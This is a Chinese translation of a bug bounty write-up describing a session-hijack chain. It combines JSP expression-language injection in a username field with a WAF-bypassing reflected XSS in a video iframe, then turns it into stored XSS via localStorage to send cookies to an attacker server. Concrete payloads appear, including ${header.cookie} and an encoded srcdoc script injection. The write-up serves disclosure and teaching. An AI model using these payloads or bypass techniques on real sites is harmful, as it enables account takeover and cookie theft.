【翻译】通过链式攻击劫持会话奖励 2500美元(016)

标题：Bug Bounty Writeup: $2500 Reward for Session Hijack via Chained Attack

作者：Anton (therceman) 

原文地址：https://infosecwriteups.com/bug-bounty-writeup-2500-reward-for-session-hijack-via-chained-attack-2a4462e01d4d

我已经探索一个网站一段时间了，已经发现了一些错误，但我很好奇是否还有更多需要发现。

与往常一样，浏览所有链接和部分，同时保持 Burp Suite 的 Logger++ 扩展处于活动状态。

过了一会儿，我偶然发现了一个有趣的重定向 URL，如下所示：

https://example.com?redirect=${redirectURL}

最后一部分引起了我的注意。这显然是某种模板语言表达式没有正确执行。注意到这一点后，我切换到用户个人资料页面并开始尝试负责更改我的用户名的请求。

我首先尝试的是数学表达式${2*2}，以确认潜在的模板注入漏洞。

我将名称更改为John${2*2}，当响应输出为John4时，这证实了服务器端模板表达式语言的存在。

但到底是什么？我能用它做什么？

一段时间后，我确定是JSP表达式语言，并找了几个例子进行测试，从而确认了它的存在。

我想我花了几天，甚至一周的时间，阅读文档和示例，并尝试不同的功能和方法。我发现的最有趣的表达是${header.cookie}。通过在您的名字中使用此有效负载，您将收到所有 cookie 的列表，包括仅受保护的 HTTP cookie。

在发现带有 cookie 渗漏负载的 SSTI（服务器端模板注入）漏洞后，我决定停止对文档的进一步探索，并继续创建一个 PoC 来演示会话劫持漏洞。

但是……我忽略了一个方面……我如何在没有任何交互或至少最少交互的情况下对另一个账户执行会话劫持？

正如您可能猜到的那样，我们需要一个有效的 XSS（跨站脚本）漏洞，该漏洞可以将受害者的姓名更改为${header.cookie}，然后将所有 cookie 渗透（转发）到我们控制下的域，从而展示漏洞链的全面影响。

因此，我开始在网站上挖掘潜在的 XSS 漏洞……

我一直在主页面检查 JS 源代码，切换到其他页面，重复这个过程，但什么也没发现……直到有一天。

不小心，我点击了主页上的某些内容（也许那里发生了一些变化，我不确定）并被重定向到带有视频的页面。

打开视频（似乎是直播或录制视频），我注意到 URL 中有一个”id”参数，类似于videoId=w6exeqbemte

我想到的第一个也是最常见的想法是将我最喜欢的有效负载附加到参数的末尾。

https://example.com/videos/?videoId=w6exeqbemteqwe'"<X</

之后就没有视频加载了，检查源码发现该videoId参数是直接注入到src<iframe>元素的属性中的。我的附加有效负载`<x</`已成为 HTML 属性。

<iframe src="w6exeqbemteqwe'" <X</">

这是一个好兆头。看来我找到了 XSS 攻击的潜在位置。我尝试的下一件事是将以下有效负载应用于此参数。

?videoId=qwe"><img src onerror=alert(1)>

而且……它被 WAF 阻止了:)

我知道这个网站是我遇到过的最强大的 WAF，但是……它真的那么强大吗？

所有经典的有效负载在这里都不起作用，我花了几天时间尝试了我所知道的每一种可能的技巧，但最终都没有成功……

然后我改变了方法并告诉自己 - 让我们尝试将有效负载保留在 iframe 标记内，并尝试进一步实验。我们无法覆盖src属性，所有类事件（如onload、onmouseover等）都会被 WAF 阻止。

但是……该srcdoc参数没有被 WAF 阻止。

这就是与 WAF 的战斗开始的地方：D

我知道基本的XSS有效载荷不会在'srcdoc'参数中工作，就像以前一样，因为WAF以相同的方式检测所有内容。我需要想办法智取它……

我不记得绕过的具体部分是第一个，但为了在 iframe 内创建 <script>标记，我使用了以下有效负载：

?videoId=qwe"srcdoc="u003ce<script%26Tab;e>"

有效负载u003ce的第一部分通过伪造一个不存在的标记<e来欺骗WAF。WAF的问题是，它首先尝试解码所有内容，然后执行检查。在我们的示例中，WAF将Unicode文本转换为用于检查的标记<e。然而，在现实中，它仍然是一个文本' u003ce '，并且不干扰脚本标记的打开。

有效负载的第二部分%26Tab;e(&Tab;)用于欺骗WAF，使其相信我们使用的不是脚本标签，而是其他东西。通常，waf检查整个单词或完整的<script>标记。

有时，可以通过用空格和另一个属性(如<script x>)分隔单词和右括号来绕过这种类型的WAF。然而，这种方法在这里是无效的- WAF更聪明:)所以，我在它们之间添加了一个编码标签&Tab;而不仅仅是一个空格。

注:换行&NewLine;也会起作用。

我不希望进一步扩展我的实验，所以我将' src '属性附加到我创建的脚本中，并使用相同的技术关闭标记。

qwe"srcdoc="u003ce<script%26Tab;src=//dom.xss>u003ce</script%26Tab;e>

发现 XSS 后，我只花了几个小时就准备好了最终的 JavaScript 代码。正如我之前提到的，它强制用户将其姓名更新为${header.cookie}。根据此请求，它获取具有新名称的页面内容，其中包含所有 cookie，并将所有内容传输到我的 VPS。我后来与团队分享了该 VPS 的链接。

但是......这对我来说并不是结束:) 我的目标是通过将基本 XSS 转换为 Stored-XSS 来增加影响，不仅针对登录用户，还针对那些注销的用户。

要将任何 XSS（甚至是 Self-XSS）转换为 Stored-XSS，您只需要找到一种方法即可。这可能是缓存中毒攻击，即您将 XSS 存储在服务器缓存中，也可能是基于 Cookie/本地存储的存储型 XSS，即您利用 XSS 覆盖 Cookie 或本地存储值。这些值稍后在未经清理的情况下反映在页面上时，可能会被利用。

我花了几分钟才从本地存储中找到未经处理的反应值，所有用户（甚至当前已注销的用户）都可以访问该值。因此，我更新了 JavaScript 代码以在本地存储中包含有效负载。此有效负载执行一个循环，检查用户何时具有活动会话，然后启动 cookie 渗漏。

我花了几个小时创建了一个详细的 PoC，并附有视频，随后提交了它，希望它不会成为重复的内容。

一天后，它被分类，并在 4-6 天内获得 2500 美元的奖励。

结束 ：）

每周一9点发布精选内容。

每周三9点发布翻译内容。

更多安全资讯，请关注微信公众号：安全虫。